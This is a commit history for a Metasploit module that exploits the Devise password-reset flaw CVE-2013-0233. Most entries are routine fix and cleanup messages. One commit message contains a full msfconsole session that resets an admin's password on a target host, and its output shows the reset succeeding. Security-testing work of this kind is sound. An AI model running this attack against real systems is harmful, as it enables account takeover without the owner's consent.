Jeff Jarmoc
|
03838aaa79
|
Update rails_devise_pass_reset.rb
Fixed erroneous status if FLUSHTOKENS is false.
|
2013-11-27 22:27:45 -06:00 |
Jeff Jarmoc
|
7f8baf979d
|
Adds the ability to configure object name in URI and XML. This allows exploiting other platforms that include devise.
For example, activeadmin is exploitable if running a vulnerable devise and rails version with the following settings;
msf > use auxiliary/admin/http/rails_devise_pass_reset
msf auxiliary(rails_devise_pass_reset) > set RHOST 127.0.0.1
RHOST => 127.0.0.1
msf auxiliary(rails_devise_pass_reset) > set RPORT 3000
RPORT => 3000
msf auxiliary(rails_devise_pass_reset) > set TARGETEMAIL admin@example.com
TARGETEMAIL => admin@example.com
msf auxiliary(rails_devise_pass_reset) > set TARGETURI /admin/password
TARGETURI => /admin/password
msf auxiliary(rails_devise_pass_reset) > set PASSWORD msf_pwnd
PASSWORD => msf_pwnd
msf auxiliary(rails_devise_pass_reset) > set OBJECTNAME admin_user
OBJECTNAME => admin_user
msf auxiliary(rails_devise_pass_reset) > exploit
[*] Clearing existing tokens...
[*] Generating reset token for admin@example.com...
[+] Reset token generated successfully
[*] Resetting password to "msf_pwnd"...
[+] Password reset worked successfully
[*] Auxiliary module execution completed
msf auxiliary(rails_devise_pass_reset) >
|
2013-11-27 15:35:43 -06:00 |
Tod Beardsley
|
23d058067a
|
Redo the boilerplate / splat
[SeeRM #8496]
|
2013-10-15 13:51:57 -05:00 |
Tab Assassin
|
41e4375e43
|
Retab modules
|
2013-08-30 16:28:54 -05:00 |
|
Jeff Jarmoc
|
c2f8e4adbd
|
Minor - Note Rails 3.1.11 patch in Description.
|
2013-02-13 22:30:54 -06:00 |
jvazquez-r7
|
0ae473b010
|
info updated with rails information
|
2013-02-13 09:52:17 +01:00 |
|
jvazquez-r7
|
799beb5adc
|
minor cleanup
|
2013-02-13 01:00:25 +01:00 |
|
Jeff Jarmoc
|
1d5d33f306
|
use normalize_uri()
|
2013-02-12 14:58:07 -06:00 |
|
Jeff Jarmoc
|
c6a7a4e68d
|
/URIPATH/TARGETURI/g
|
2013-02-12 14:50:10 -06:00 |
|
Jeff Jarmoc
|
c7719bf4cb
|
Verify response is non-nil.
|
2013-02-12 13:41:21 -06:00 |
|
Jeff Jarmoc
|
9e1f106a87
|
msftidy cleanup
|
2013-02-12 13:38:58 -06:00 |
|
Jeff Jarmoc
|
5f0a3c6b9e
|
Removes pry, oops.
|
2013-02-11 14:02:46 -06:00 |
|
Jeff Jarmoc
|
753fa2c853
|
Handles error when TARGETEMAIL is invalid.
|
2013-02-11 13:58:56 -06:00 |
|
Jeff Jarmoc
|
61ffcedbfd
|
Address HD's other comments, fixes mismatched var name in last commit.
|
2013-02-11 11:17:26 -06:00 |
|
Jeff Jarmoc
|
e72dc47448
|
Uses REXML for encoding of password.
|
2013-02-11 11:12:29 -06:00 |
|
Jeff Jarmoc
|
43a1fbb6f2
|
Make msftiday happy.
|
2013-02-10 21:13:18 -06:00 |
|
Jeff Jarmoc
|
55cba56591
|
Aux module for joernchen's devise vuln - CVE-2013-0233
|
2013-02-10 21:10:00 -06:00 |